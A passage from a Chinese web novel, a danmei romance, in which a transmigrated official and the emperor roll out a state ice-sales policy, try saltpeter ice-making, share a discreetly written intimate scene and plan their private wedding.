待到夕阳西沉,一套关于在京城试行发售官冰的初步方案,竟已大致有了框架,各部职责分工明确,后续细节则由各部回去后再行完善,汇总至户部与礼部统筹。 大臣们告退时,虽面带倦色,眼神中却都带着几分干事创业的兴奋。 萧彻对臣子的要求比先皇严格,但是能让臣子们做出实绩的机会也更多。 待人走尽,偏殿内只剩下萧彻与林砚二人。 林砚说得口干舌燥,端起那杯早已不那么冰的饮子喝了一大口,长长舒了口气,脸上却满是成就感的红晕。 萧彻走到他身边,拿起扇子,轻轻为他扇着风:“辛苦林侍郎了。” 林砚侧过头,眼睛弯成了月牙:“不辛苦,想到以后京城百姓也能方便地用上冰,我就高兴,陛下,我这事儿,办得可还行?” “嗯。”萧彻应着,伸手替他拂开因汗水黏在额角的一缕发丝,目光温柔,“朕的子民能因你而多一份夏日的清凉,很好。” 殿外暑气未消,殿内却因这一番作为,仿佛也生出了一种沁人心脾的凉意来。 林砚被萧彻那温柔的目光看得耳根微热,下意识想避开,却又贪恋那目光中的赞许与情意,只好低头假装整理并无形乱的衣袖,嘴里嘟囔着:“陛下别这么看着我,怪不好意思的。” 萧彻眼底笑意更深,将手中扇子递给他,自己则起身又去倒了杯水过来:“润润喉,说了这许久,饮那冰镇的太过刺激。” 林砚接过扇子胡乱扇了几下,又接过茶杯,小口啜饮。 常温的水滑过干渴的喉咙,确实比冰饮更觉熨帖。 林砚抬眼看向窗外渐沉的暮色,装模作样的又开始了:“陛下,这都快到晚膳时辰了,我是不是该回去了?” “回去作甚?”萧彻重新在他身边坐下,姿态闲适,“今日你立下大功,岂能让你空着肚子回府?况且含章不想多陪陪我?” 林砚放下扇子,抓住萧彻的手,十指相扣:“既然陛下如此挽留,那我就勉强留在宫里陪陛下吧。” 其实林砚早就同家里说好了,日后不用等他回家用晚饭,如果饭点没回,那便是不回去吃饭了。 哦,也有可能晚上也不回家睡—— 作者有话说:我查资料,说是古代人很早就开始储冰了,《天工开物》详细记载了采冰、储冰的全过程,真的牛逼,劳动人民的创造力果然不能小觑 对了,正文很快就要结束了,大家有什么想看的番外呀[让我康康] 第107章 第 107 章 “收敛点儿,明天还要…… 林砚窝在萧彻怀里, 享受着人形冰扇的顶级服务,脑子里却还在琢磨冰块的事儿。 虽说把官冰放到民间是个好主意,但这终究是“节流”, 属于资源再分配。 大渝的冰主要靠冬天采集天然冰储存, 储量有限,成本高昂, 就算把宗室们浪费的那部分抠出来,能惠及的范围也有限。 要是能“开源”, 自己造冰就好了。 造冰? 林砚脑子里像是有什么东西闪了一下,他努力回想自己穿越前那点可怜的化学知识。 好像有什么东西溶于水会吸热来着? 夏天用的急救冰袋是不是就这原理? 成分是硝酸铵? 不对,古代哪有硝酸铵。 那硝酸钾呢? 好像也行? 硝酸钾在古代叫什么来着? 好像是……硝石? 就是硝石,这东西古代好像就有,道士炼丹好像会用? 林砚一下子坐直了身体, 眼睛亮得惊人,抓住萧彻的袖子:“陛下,有个更大胆的想法。” 萧彻被林砚突如其来的动作弄得一愣,看着他兴奋发光的脸,饶有兴致地问:“哦?有多大胆?” “制冰,我们自己制冰!”林砚语气激动, “不用等冬天, 夏天也能造出冰来!” 萧彻闻言,眉梢微挑, 眼底掠过一丝惊讶。 夏日制冰,这听起来近乎仙法了,但他知道林砚并非信口开河之人,便耐心问道:“如何制法?” “硝石,陛下知道硝石吗?”林砚努力组织着语言, “就是一种特殊的石头,道士炼丹会用,硝石溶于水时,会吸收大量的热,能让周围的水迅速变冷,甚至结冰。” 林砚一边说一边比划:“我们可以弄两个盆,一个大盆,一个小盆,大盆里放水,小盆里也放水,然后把小盆放在大盆里,接着往大盆里加入硝石,大盆里的水温度会骤降,就能把小盆里的水给冻成冰,而且硝石这东西,好像是可以重复利用的,等大盆里的水蒸发干,或者想办法把硝石再析出来,下次还能用。” 萧彻听得极为认真,他虽然不懂其中原理,但林砚描述的过程清晰具体,不像是凭空臆想。 若此法真能成,不仅能让百姓受益,对于军队后勤、医药保存等等,都有估量的价值。 “硝石……工部虞衡清吏司负责矿冶、物料,应当对此物有所了解。”萧彻沉吟道,眼中也迸发出兴趣的光芒,“含章,此法有几成把握?” 林砚挠了挠头,有点不好意思:“理论上是可行的,但我也没亲手试过,需要找专业的能工巧匠来试验。” 萧彻看着他难得露出的赧然神色,低笑一声,捏了捏他的手指:“无妨,理论既由你提出,具体操作自有匠人负责,若能成,便是大功一件。” 他越想越觉得此事值得一试,当即不再犹豫,扬声道:“李德福。” 李德福再次应声而入。 “传朕口谕,召工部虞衡清吏司郎中、员外郎,即刻入宫觐见。” “是,陛下。”李德福领命,心中暗忖,看来林大人又琢磨出什么新奇玩意儿了,陛下这兴致可真高。 等待的功夫,宫人已经手脚麻利地将各种冰镇的饮子和水果摆了上来。 萧彻一边伺候着林砚享用,一边又跟林砚仔细问了问关于硝石制冰的一些细节和可能需要注意的地方。 林砚搜肠刮肚,把能想到的都说了,两人凑在一起嘀嘀咕咕,很有夫妻氛围。 约莫过了小半个时辰,工部虞衡清吏司的郎中赵思源和员外郎孙永谦匆匆赶到了紫极殿。 两人都是四十岁上下的年纪,赵思源面相沉稳,孙永谦则看着更精明干练些。 他们一路进宫,心里都在打鼓,不知陛下突然召见所为何事,尤其还是越过尚书、侍郎直接召见他们这两个中下层官员。 一进殿,两人立刻感受到一股沁人心脾的凉爽,与殿外的闷热简直是两个世界。 目光悄悄一扫,便看到角落里的冰鉴,以及御案上摆着的几碟明显用冰镇过的瓜果和饮子,心中不由一阵羡慕。 他们俩的品级,离享受朝廷夏季赐冰还差得远,家里顶多用井水湃点瓜果解暑,哪像陛下这里,简直是神仙日子。 “微臣叩见陛下。”两人压下心中杂念,恭敬行礼。 “平身。”萧彻声音平和,“赐座,上些冰饮瓜果。” 两人受宠若惊地谢恩坐下,宫人立刻奉上冰镇的酸梅汤和切好的西瓜。 感受着手中杯壁传来的凉意,品尝着甘甜冰爽的瓜果,两人心里更加忐忑了——陛下如此礼遇,交代的差事恐怕不简单。 萧彻也没绕圈子,直接开口道:“今日召二位爱卿前来,是有一事,需虞衡清吏司出力。” 他示意了一下林砚:“林侍郎提出一法,或可于夏日制冰。” “夏日制冰?”赵思源和孙永谦同时大吃一惊。 这怎么可能?自古冰炭不同炉,夏日炎炎,如何能凭空造出冰来?真能有这种法子? 林砚见两人一脸难以置信,也不意外,笑着接过话头:“二位大人稍安勿躁,此法并非凭空想象,而是有些依据。” 他尽量用通俗易懂的语言,将硝石溶于水吸热,以及大小盆嵌套制冰的原理又说了一遍。 赵思源和孙永谦起初觉得荒谬,但听着林砚条理清晰的阐述,再结合他们自身对矿物、物料的一些认知,渐渐收起了轻视之心,神色变得凝重而专注。 赵思源沉吟道:“林大人所言硝石,确是我虞衡清吏司管辖之物,多用于医药、炼丹、制火药等,其溶于水后水质变凉,下官倒也曾听一些老匠人提过,只是从未想过借此制冰。” 孙永谦眼睛发亮,补充道:“若真如林大人所言,此法关键在于硝石与水的配比,以及容器的大小、形状,还有如何让热交换更充分,这些都需要反复试验摸索。” 林砚连连点头:“对对对,孙大人说得在理。我就是个动嘴皮子的,具体怎么做,还得靠二位大人手下的能工巧匠。” 萧彻见两人并未直接否定,反而开始思考技术细节,心中满意,开口道:“既然如此,此事便交由你二人负责,需要什么物料、人手,尽管向工部申请,若有难处,可直接禀报于朕。务” 他看着两人,语气带着鼓励:“此事若成,不仅于国于民大有裨益,你二人亦是首功,朕必有重赏。” 说着,他吩咐李德福:“传朕旨意,赐冰予赵爱卿和孙爱卿,带回府中去去暑气。” 赵思源和孙永谦闻言,激动得差点从凳子上滑下来。 御赐的冰!这可是天大的体面! 而且陛下亲口许诺重赏,这份看重,让他们瞬间热血沸腾。 两人连忙离席,跪地谢恩:“臣等遵旨!定当竭尽全力,不负陛下重托!” 他们心里此刻只有一个念头:无论如何,一定要把这夏日制冰之法给搞出来!这可是在陛下面前露脸的天赐良机!看看林大人,不就是因为得了陛下赏识,才年纪轻轻便身居高位,圣眷优渥吗?他们苦熬资历多年,如今机会就在眼前,岂能错过! 萧彻挥挥手:“去吧,朕等你们的好消息。” 两人又磕了个头,这才小心翼翼地退出了紫极殿。 看着两人斗志昂扬离开的背影,林砚长长舒了口气,靠在椅背上,感觉完成了一件大事。 萧彻语气带着笑意:“这下满意了?林侍郎。” 林砚嘿嘿一笑:“能不能成还两说呢,不过总算把想法说出去了,希望赵大人和孙大人给点力。” “有你这番点拨,有朕的督促和赏赐,他们自然会拼尽全力。”萧彻对此很有信心,“即便此法最终制出的冰量不大,成本不低,无法像藏冰那样大规模使用,但若能成功,放在民间,让一些小商小贩能做点独特的冰饮生意,也足以令人惊喜了。” 林砚点头,他其实也是这么想的。 硝石制冰效率肯定比不上现代科技,但在这个时代,哪怕只能小规模应用,也是个了不起的进步。 赵思源和孙永谦斗志昂扬地退下,林砚心里一块石头落了地,浑身放松下来,这才感觉有些疲惫,忍不住打了个小小的哈欠。 萧彻见状,眼底泛起一丝心疼,伸手替他拢了拢鬓边微乱的发丝:“累了?” “还好。”林砚揉了揉眼睛,强打精神,“就是说了太多话,脑子有点转不动了。” “那便早些歇息。”萧彻语气自然,仿佛林砚留宿紫极殿是天经地义的事,“今日你立下大功,朕得好生犒劳你才是。” 这“犒劳”二字,萧彻刻意放缓了语调,带着点意味深长的味道,听得林砚耳根微微发热。 他睨了萧彻一眼,小声嘀咕:“陛下所谓的犒劳,怕不是又想折腾人。” 萧彻低笑,手臂绕过他的膝弯和后背,稍一用力,便将人打横抱了起来。 “哎!”林砚低呼一声,下意识搂住萧彻的脖子,“陛下,这还在外间呢!” 虽说宫人都被屏退了,但这光天化日的,也太羞人了。 “怕什么。”萧彻抱着他,步履稳健地朝内殿走去,声音带着愉悦,“朕抱自己的侍郎,有何不可?” 林砚把发烫的脸埋进他颈窝,嗅着那令人安心的沉水香气,小声抗议:“强词夺理。” 他发现萧彻这人自从被他那次一教,整个人都骚得不得了。 哼,男人,果然都是大猪蹄子吧。 林砚想着,却还是小声道:“收敛点儿,明天还要上早朝的。” 第108章 第 108 章 “但求与卿,多享肌肤…… 林砚被萧彻抱进内殿, 放在那张宽大柔软的龙榻上时,整个人还沉浸在“明日早朝”和“今夜折腾”的悲壮预感里,脸颊绯红, 眼神闪烁, 像只被捏住了后颈皮的猫。 萧彻俯身,双手撑在他身侧, 将他困在方寸之间,沉水香的气息丝丝缕缕地将林砚缠绕。 他看着林砚那副明明紧张却偏要强装镇定的模样, 眼底笑意更深,故意凑近,鼻尖几乎要蹭到他的,压低声音问:“含章方才说,让朕收敛点儿?” 林砚被他呼出的热气拂得颈窝发痒, 缩了缩脖子,眼神飘忽:“臣是体恤陛下,陛下日理万机,龙体要紧……” “哦?”萧彻挑眉,指尖轻轻划过林砚官袍的领口,动作慢条斯理, “可朕觉得, 与含章在一处,便是最好的放松, 况且……” 他顿了顿,目光落在林砚微微抿起的唇上,声音又压低了几分,带着蛊惑般的沙哑:“含章先提出冰政良策,又献上制冰妙法, 于国于民皆是功劳,朕若不好好犒劳一番,岂非显得朕赏罚不明?” 犒劳你个鬼哦,分明是假公济私。 “陛下。”林砚试图做最后的挣扎,伸手抵住萧彻的胸膛,感觉手下肌肉紧实,热度灼人,他像被烫到般想缩回手,却被萧彻一把握住,“臣觉得,犒劳也不必太过,你说呢?” 萧彻低笑出声,胸腔震动,握着林砚的手引导着他抚上自己的脸颊,目光幽深地看着他:“不好生犒劳岂能表达朕的心意?朕觉得,还是要诚挚一些。” 林砚:“……”我谢谢你的诚挚。 眼见着萧彻的唇又要落下,林砚脑子里警铃大作。 这要是亲下去,以萧彻那无师自通的缠人劲儿,他的嘴唇明天绝对没法见人。 什么被虫子咬了、过敏了,这种借口骗骗小孩子还行,能站在朝堂上的哪个不是人精? 不行!绝对不行! 电光石火间,林砚把心一横,做出了一个艰难的决定——牺牲脖子以下的某些部位,保住嘴唇! 看不见的地方,总比看得见的地方好糊弄。 于是,在萧彻即将吻上他的前一瞬,林砚猛地偏过头,同时伸手揽住了萧彻的脖子,将发烫的脸颊埋进了他的肩窝,用一种近乎豁出去的语气快速道:“陛下别亲嘴!” 萧彻动作一顿,垂眸看着那颗毛茸茸的、死死埋在自己肩窝的脑袋,有些讶异,又有些好笑。 “为何?”萧彻故意问道,手指却已从官袍领口滑入,抚上林砚温热的脊背,感受着那细腻皮肤下瞬间绷紧的肌理。 林砚被他摸得浑身一颤,声音闷闷地传来,带着点破罐子破摔的羞愤:“明日还要见人,脖子以下,随、随你……” 最后两个字几乎微不可闻,但萧彻还是捕捉到了。 他先是一愣,随即恍然大悟,胸腔里顿时溢满了难以言喻的愉悦和爱怜。 他的含章,怎么这般可爱。 原来打的是这个主意。 萧彻不再执着于那两片被他惦记许久的唇瓣。 他低下头,温热的吻如同细雨,落在林砚的耳廓、颈侧、锁骨…… 林砚紧闭着眼,感受着那些细密而灼热的吻一路向下,带来一阵阵陌生的战栗。 官袍被耐心地、一层层解开,微凉的空气触到皮肤,激起细小的疙瘩,但很快就被更灼热的体温覆盖。 当萧彻的唇齿停留在某处敏感时,林砚忍不住倒抽一口气,手指下意识地攥紧了身下的锦被,脚趾都蜷缩起来。 【要命了。】 【萧彻你属狗的吗?】 萧彻听着耳边那片兵荒马乱的心声,动作愈发温柔却也愈发不容抗拒。 他深知怀中人的敏感点在哪里,时而轻吮,时而用齿尖细细碾磨,逼得林砚喉间溢出细碎呜咽,身体软得像一滩春水,只能依靠着他手臂的力量支撑。 “萧彻……萧昭临……”林砚被折腾得眼角沁出生理性泪水。 这声带着依赖和情动的呼唤,像是一把火,彻底点燃了萧彻压抑的渴望,他不再满足于浅尝辄止,手臂收紧,将人更深地拥入怀中。 不知过了多久,风暴才渐渐平息。 林砚瘫在龙榻上,连指尖都懒得动弹,浑身汗湿,像是刚从水里捞出来。 某些不可言说的部位传来清晰还带着微刺的异样感,提醒着他刚才经历了怎样一番“犒劳”。 萧彻侧躺在他身边,指尖有一下没一下地卷着他汗湿的发梢,看着他闭着眼,长睫濡湿,脸颊潮红未褪的模样,心底被一种前所未有的饱胀感填满。 他低下头,爱怜地吻了吻林砚汗湿的额角。 林砚累得眼皮都睁不开,感受到额头的触感,只是含糊地哼唧了一声,带着浓浓的鼻音抱怨:“过分。” 萧彻低笑,声音带着事后的沙哑和愉悦:“嗯,是我过分。” 林砚已然不想自己爬起来去沐浴了,踢了踢萧彻:“给我洗干净。” 萧彻自然唯命是从。 冰政的一应事宜,在林砚提出构想,萧彻拍板定调后,便有条不紊地推行下去。 礼部、工部、户部协同运作,效率惊人,没过多久,京城几处指定的官冰发售点便悄然开设,以低于市面冰铺的价格,限量向有需求的商户供应冰块。 消息一出,京城的饮子铺、酒楼几乎沸腾。 虽然供应量有限,需要提前登记排队,但官冰价格实惠,品质有保障,足以让这些商户的成本下降一大截,推出的冰镇饮子、冰品价格也更加亲民。 寻常百姓攒上几文钱,也能在酷暑难耐时,尝一碗透心凉的冰镇酸梅汤或是冰酪。 街头巷尾,时常能听到人们对此事的交口称赞,都说陛下仁德,体恤百姓,连带着提出此策的户部侍郎林砚,名声也愈发响亮。 林砚作为倡议者,在最初的方案框架搭建好后,反倒没什么具体事务需要他亲力亲为,各部官员各司其职,将事情办得妥妥帖帖。 加上萧彻之前的一番大力整顿,朝堂上下、京城内外风气为之一清,一时间,竟显得格外太平。 于是,林砚除了日常的户部公务之外,竟然清闲了不少。 这份清闲,直接导致了他有更多的时间,成日里和萧彻黏在一块儿。 不是在紫极殿陪着批折子、讨论政事,就是溜达到丹园,享受二人世界。 丹园的改建工程早已完成。 这里彻底成了他们私密的爱巢,一草一木,一亭一阁,都按照两人的喜好布置,既清雅舒适,又处处透着温馨。 没有宫里的规矩束缚,没有外人的打扰,两人在此处,俨然一对寻常的恩爱伴侣。 这日午后,两人在丹园临水的凉亭里纳凉。 亭角放置着冰鉴,丝丝凉气驱散了暑热。 林砚懒洋洋地靠在萧彻身上,拿着一卷闲书,有一搭没一搭地看着,萧彻则一手揽着他,一手执笔,在批阅几份紧急送来的奏章。 气氛静谧而美好。 萧彻批完最后一本,放下朱笔,低头看着怀里昏昏欲睡的人,指尖绕着他一缕散落的墨发,忽然开口:“含章,丹园既已改建完成,你我在此处成亲,可好?” 林砚正被书本上的字句催眠,闻言一个激灵,瞬间清醒了大半,抬起头,茫然地眨了眨眼:“成亲?” 他确实和萧彻两情相悦,离夫妻之实也只差一点点,但“成亲”这两个字从萧彻口中如此自然地说出来,还是让他恍惚了一下。 萧彻看着他这副懵懂的样子,觉得可爱极了,低头在他鼻尖上亲了一下,语气再自然不过:“嗯,请你父母妹妹,还有褚晔他们这些知情人过来,做个见证,虽不方便大操大办让全天下都知道,但该有的礼数,一样也不能少。” 林砚消化了一下这个消息,看着萧彻认真的神色,心里像是被温水泡过,软乎乎的。 他当然不反对,只是觉得…… “这是不是太仓促了?成亲是人生大事,得好好准备吧?” 萧彻闻言,眼底漾开笑意,像是早就等着他这句话,不知从哪儿摸出一卷装饰精美的绢帛,塞到林砚手里:“含章放心,我都准备好了,你看,这是我的嫁妆单子。” 林砚:“???” 他难以置信地低头,展开那卷绢帛,只见上面密密麻麻列满了各项物品:田庄、铺面、金银珠宝、古玩字画、海外珍奇……其丰厚程度,足以让任何一个世家大族瞠目结舌。 皇帝的私产,是不少哈。 林砚看得眼花缭乱,半晌,才抬起头,表情复杂地看着萧彻:“你真拿自己当林家媳妇了?”还对林墨那声“嫂子”如此上道? 萧彻挑眉,理直气壮:“不然呢?莫非含章想嫁入宫中?朕倒是没意见,只是含章是否愿意再帮朕管一管皇宫?” 林砚想象了一下那个画面,顿时一阵恶寒。 真“嫁”进宫里,皇后的活儿岂不是他干?他才不要,累死人了。 林砚赶紧摇头,又低头看了看那长得离谱的嫁妆单子,不禁叹了口气,语气带上了点真实的苦恼:“可是你这份嫁妆也太丰厚了,我给不起相应的聘礼啊。” 萧彻看着他蹙眉苦恼的模样,忍不住笑出声来。 他凑近林砚,伸手捏了捏他的脸颊,眼神灼热,语气带着毫不掩饰的渴望和戏谑:“谁要你的聘礼?我只要你这个人就够了,若是含章实在过意不去……” 萧彻的目光意有所指地在林砚身上扫过,声音压低,带着浓浓的暗示:“但求与卿,多享肌肤之亲。” 林砚先是一愣,待反应过来他话中的深意,羞愤交加,想也没想,抬手就捂住了萧彻那张百无禁忌的嘴。 “闭嘴!”林砚瞪着萧彻,“你一个皇帝,嘴里能不能别说这种话!” 萧彻被他捂着嘴,也不挣扎,只是那双深邃的凤眸里盛满了得逞的笑意,眼睫弯弯,看得林砚心跳又漏了好几拍。 掌心传来萧彻唇瓣柔软的触感和呼出的温热气息,林砚像被烫到一般猛地缩回手,心跳如擂鼓。 萧彻看着他羞窘无措的模样,终于忍不住,朗声笑了起来,伸手将人重新揽入怀中,紧紧抱住。 “好,不说。”萧彻的下巴轻轻抵着林砚的发顶,声音里带着未尽的笑意和无比的满足,“那含章是答应了?我们选个日子,在丹园成亲。” 林砚把滚烫的脸埋在他胸口,听着那沉稳有力的心跳,闻着那令人安心的沉水香气,许久,才几不可闻地“嗯”了一声。 阳光透过凉亭的竹帘,在相拥的两人身上投下斑驳的光影。冰鉴散发着丝丝凉意,驱散了夏日的浮躁,只剩下温馨与缱绻。 林砚想,这样也好。 虽说他们的婚事不方便昭告天下,但有亲朋好友见证,足矣。 第109章 第 109 章 皇帝都恨嫁了啊。…… 林砚揣着萧彻的嫁妆单子脚步有些飘忽地回到了林府。 他脑子里还在反复回放萧彻说“这是我的嫁妆单子”时那理所当然的表情, 以及那句“但求与卿,多享肌肤之亲”带来的冲击力,脸颊一阵阵发烫。 进了府门, 他径直去找父母。 林承稷和文韫正在花厅里说着话, 见儿子回来,脸上的神色很难言, 都不由得停下了话头。 怎么又兴奋又羞窘又茫然的? “爹,娘。”林砚走到他们面前, 将那份卷起来的绢帛递了过去,“有件事,想跟你们商量一下。” 文韫接过绢帛,有些疑惑地展开,林承稷也凑过来看。 这一看, 夫妻二人顿时倒吸一口凉气。 那单子长得惊人,上面罗列的各项产业、珍宝、金银,其数量和价值远超他们的想象。 这已经不是丰厚能形容的了,这简直是搬来了好几座金山银山。 “这是?”林承稷指着单子,手都有些抖,“砚儿, 这是何物?你从哪里得来的?” 林砚摸了摸鼻子, 尽量让自己的语气听起来平静些:“是陛下给的。” 文韫猛地抬头,声音都变了调:“陛下给你这个做什么?” 林砚硬着头皮道:“他说, 这是他的……嫁妆,他想跟我成亲,在丹园办,请家里人和几个知情的朋友做个见证。” 花厅内陷入了一片死寂。 林承稷和文韫面面相觑,都从对方眼中看到了巨大的荒谬感和一丝“果然如此”的麻木。 过了好半晌, 文韫才艰难地找回了自己的声音,她指着那单子,语气充满了无力感:“陛下还真是……真是……” 文韫“真是”了半天,也没找到合适的词来形容萧彻这种行为。 就没见过这样的皇帝,哪家皇帝会自己备好嫁妆,上赶着要“嫁”到臣子家里的?这说出去谁敢信? 林承稷则是扶着额头,努力消化着这个信息,最终长叹一声:“陛下既然有此心意,我们还能说什么?” 皇帝都恨嫁了啊。 林承稷看向文韫,眼神复杂:“夫人,既然陛下跟砚儿药成亲,那咱们也得拿出点态度来,好好安排安排。” 儿媳妇要“嫁”过来,他们做公婆的,可不得上心点儿? 文韫闻言,先是一愣,随即眼神也慢慢变得坚定起来。 是啊,皇帝自己都摆出了“嫁”的姿态,连“嫁妆”都备好了,他们若是再战战兢兢,反而显得矫情,也辜负了陛下这份真心。 既然陛下愿意做林家的“媳妇”,那他们就得把陛下当“媳妇”来看待,该有的规矩和场面,一样也不能少。 这么一想,文韫心里那点惶恐顿时被一种奇异的责任感取代了。 她收起那卷让人眼晕的嫁妆单子,对林砚正色道:“你改日把陛下请到家里来,既然成亲,婚事还需仔细商定才可。” 林砚看着母亲瞬间进入状态的“婆婆”架势,嘴角抽了抽,但还是乖乖应道:“是,儿子记下了。” 萧彻也很想赶紧跟林砚父母商议他们的婚事,所以一到休沐日,大清早地起了床,郑重梳妆,然后带着许多上门拜访的礼物到了林府。 林砚被下人喊醒,说陛下到了之时,人还在床上瘫着。 赶到前厅,只见他爹娘已经在了,两人看着院子里摆得满满当当的箱笼,脸上是如出一辙的懵然。 萧彻一身月白云纹常服,站在厅中,气度依旧雍容,神色却比在宫里时温和许多。 “林爱卿,文夫人。”萧彻先开了口,语气是商量的口吻,“今日休沐,冒昧来访,是想与二位仔细商议一下我与含章的婚事。”他目光转向林砚,自然地唤了他的字。 林承稷和文韫连忙行礼,口称陛下。 文韫看着满院子的礼,强自镇定道:“陛下言重了,快请上座。” 她一边吩咐人上茶,一边心里嘀咕,这陛下也太心急了,说是让砚儿改日请,结果休沐日一大早就自己带着厚礼上门了。 几人落座,萧彻便直奔主题:“前次含章带回的单子,二位想必已看过,一些琐碎物件,今日我也带了些来,算是一点心意,二位万勿推辞。” 怎么说也是把人家的儿子拐走了,补贴再多的东西也不为过。 文韫定了定神,找回那日商议好的节奏,开口道:“陛下既然与砚儿情投意合,这婚事我们做父母的自然是乐见的,只是陛下身份特殊,许多礼节恐怕不能如常进行。” “文夫人考虑的是,”萧彻从善如流,“一切但凭夫人安排。” “陛下能体谅就好。”文韫心下稍安,继续说道,“不过,这纳采时必备的活大雁,却是不能少的。” 大雁是忠贞之鸟,寓意深远,成亲怎能没有? 萧彻立刻点头,眼神认真:“夫人说的是,朕会亲自寻一对大雁,绝不会委屈了含章,也全了这好兆头。” 他这态度,俨然是将自己放在了需要“表现”的一方。 文韫听着,心里舒坦了些,又道:“婚期也需慎重,若陛下方便,告知生辰八字,臣妇好去多合几个日子,务必选一个最吉利的。” “有劳夫人费心。”萧彻微微颔首,“关于婚事的具体操办,夫人有何想法尽管说。” 文韫等的就是这句,她挺直了背脊,努力拿出家里女主人的架势:“既然是在宫外的丹园办事,这一应事宜,便由我们林家来操持吧,若按皇室的来,规矩大,章程繁琐,难免失了温馨,陛下觉得如何?” “如此甚好,实不相瞒,朕亦不愿婚礼只是循规蹈矩的过场,能有长辈亲自操持,添些家常温暖,正是心中所愿,一切就拜托夫人了。”萧彻这话说得极为诚恳。 文韫见他如此信任且配合,心里那点紧张彻底被一种“重任在肩”的责任感取代,连连保证必定尽心尽力。 这时,林承稷从袖中取出那份早已准备好的大红婚书,起身,恭敬而不失庄重地递向萧彻:“陛下,这是婚书,请过目。” 萧彻立刻起身,双手接过。 他展开婚书,目光在那并排的“萧彻”与“林砚”名字上停留了片刻,指尖轻轻拂过墨迹,然后极为郑重地将其合拢,收纳入怀,贴身放好。 “承蒙林爱卿,文夫人不弃。”萧彻对着二老,拱手行了一礼,语气沉静而有力,“昭临,定不负含章。” 商讨了近一个上午,细节大致敲定。 林砚坐在一旁,听着他娘和萧彻你一言我一语,将纳采、问名、纳吉等流程删繁就简,又确定了由林家主导操办的原则,他发现自己除了偶尔被问及意见时点点头,竟真的没什么需要插手的。 看着萧彻在他娘面前那副认真聆听虚心受教的模样,虽然口中仍称着“林爱卿”、“文夫人”,但那姿态,分明已是将自己放在了“女婿”的位置上。 再看看他爹娘,从一开始的惶恐,到后来的谨慎,再到如今渐渐放开的商量,甚至他娘已经开始盘算着丹园布置要添置哪些东西,需要请哪几位可靠的亲朋…… 林砚端起冰镇酸梅汤,默默喝了一口。 唔,虽然萧彻给出了那份能闪瞎人眼的“嫁妆”,名义上算是“聘礼”,但他爹娘这全权接手、细致安排的架势,怎么看都像是在认真地张罗“嫁”儿子啊。 他这个正主,倒成了最清闲,只管等着到时候拜堂成亲的那一个。 不过,看着萧彻眼中那几乎要溢出来的期待和满足,林砚摸了摸怀里自己那份同样滚烫的婚书,嘴角终究是控制不住地扬了起来。 行吧,他就安安心心,等着把他这位“自带万里江山做嫁妆”的皇帝媳妇,风风光光又温馨满满地,“娶”回他们的家吧。 这边文韫得了萧彻的准话,又收了那份沉甸甸的“托付”,整个人仿佛被注入了无穷精力,送走萧彻后,她立刻雷厉风行地行动起来。 丹园那边的布置是头等大事,成亲可就这么一次,帐幔要用什么料子,器皿要选什么花色,园子里的花草要如何点缀增添喜气…… 接着便是拟定宾客名单,除了自家人,便是如褚晔这般知晓内情的挚友,人数不多,但每一个都需再三斟酌。 文韫甚至还考虑了到时席面的菜色,既要精致可口,又不能过于奢华惹眼,着实费她一番心思。 林承稷看着夫人忙得脚不沾地,本想插手,却发现自己在这些细致活计上完全插不上嘴,反而被文韫嫌弃碍事。 而被林家上下暗中称为“准儿媳”的萧彻,回宫后也并未闲着,他虽将婚礼操办之权全盘交出,但关乎自身嫁娶的大事,又岂能真做个甩手掌柜? 他第一件事就是把许久没练习的弓箭给捡了起来,大热天的去靶场练箭,给林砚的大雁他要亲自打。 萧彻又让内府库将一些极尽精巧的物件、以及大量上用的丝绸锦缎、珍稀木料,以赏赐的名义,源源不断地送往林府,美其名曰给文夫人添些用度,实则是在不动声色地为婚礼添砖加瓦。 有时间就往丹园跑,看着内侍监按照文韫的要求调整园内陈设,确保每一处都合乎心意。 林砚反倒成了最清闲的那个。 除了被他娘抓着试过两次新衣的尺寸,他似乎只需要在忙碌的家人和同样忙碌的恋人之间穿梭,感受着那种被浓浓爱意和期待包裹着的氛围。 真好啊,他穿越前没有的东西,穿越后都有了。 只待吉日良辰,便将礼成—— 作者有话说:往下翻,有5000营养液加更哦[比心] 第110章 第 110 章 “谢谢昭临哥哥。”…… 林砚迈进户部公廨时, 脚步都比往日要轻快几分。 今日是他的生辰,七月初一。 虽说在这个没有阳历生日的时代,他自己都快忘了这茬, 但显然, 有人替他记着。 刚在自己的值房坐定,还没来得及翻开今日的文书, 同僚们便陆陆续续地来了。 第一个进门的是张厚朴张尚书,这位顶头上司笑眯眯地捧着一个锦盒:“林侍郎, 今日可是你的好日子,一点心意,莫要嫌弃。” 林砚赶紧起身双手接过,入手沉甸甸,打开一看, 竟是一方上好的端砚,石质细腻温润,雕工古朴大气,一看便知价值不菲。 “部堂大人,这太贵重了。”林砚有些不好意思。 “诶,不过是个玩意儿, 你整日与笔墨打交道, 正合用。”张厚朴摆摆手,语气和蔼, “今日你最大,偷个懒也无妨,午膳前便可家去,好好松快松快。” 林砚连声道谢,张尚书果然是个好领导, 武海闵之流能不能跟人家好好学习学习? 哦,忘记了,武海闵想学也没这个机会。 张厚朴前脚刚走,后脚褚晔就晃了进来。 这位同僚兼“难兄难弟”如今与他相处自然了许多,至少不会一见他就眼神乱飘了。 褚晔递过来一个用青布包裹的长条状物事,压低声音,眼神里带着点男人都懂的意味:“喏,给你的,生辰贺礼,收好了,回去再瞧。” 林砚接过,那触感那形状,不用打开他都知道是什么——画册,还是那种内容不太适合在公廨公开翻阅的画册。 自从上回褚晔得知他与萧彻“尚未彻底交流”后,就仿佛肩负起了某种“技术扶贫”的重任,隔三差五通过赫连锋的渠道给他搜罗“学习资料”。 林砚面上保持微笑,,动作迅速地将那青布包塞到了桌案最底下。 褚晔看着他手忙脚乱藏东西的样子,满意地点点头,又递给他一个正常许多的锦盒:“这才是明面上的,一套湖笔,知道你用得上。” 林砚:“……”谢谢,还想得挺周全哈。 紧接着,他下属的几位郎中、员外郎也结伴而来,纷纷送上贺礼。 有的是精心挑选的墨锭,有的是时兴的镇纸,还有送典籍的,虽不算特别名贵,但都透着用心。 林砚一一道谢,将各人送的礼物都仔细记下,回头都是要还礼的。 他也没闲着,招呼着随从将家里一早准备好的几大食盒点心、糕团搬出来,都是文韫亲手调制的,用料扎实,香甜可口,分给衙内诸位同僚。 “家母做的一些小点心,给大家尝尝鲜,聊表心意。”林砚笑着招呼。 众人纷纷道谢,一时间,户部公廨里香气四溢,气氛热闹得像个小茶话会。 这还没完,林砚又变戏法似的让人抬进来两个冒着丝丝寒气的大桶,揭开盖子,里面是红艳艳的冰镇酸梅汤和清澈的冰镇薄荷饮子。 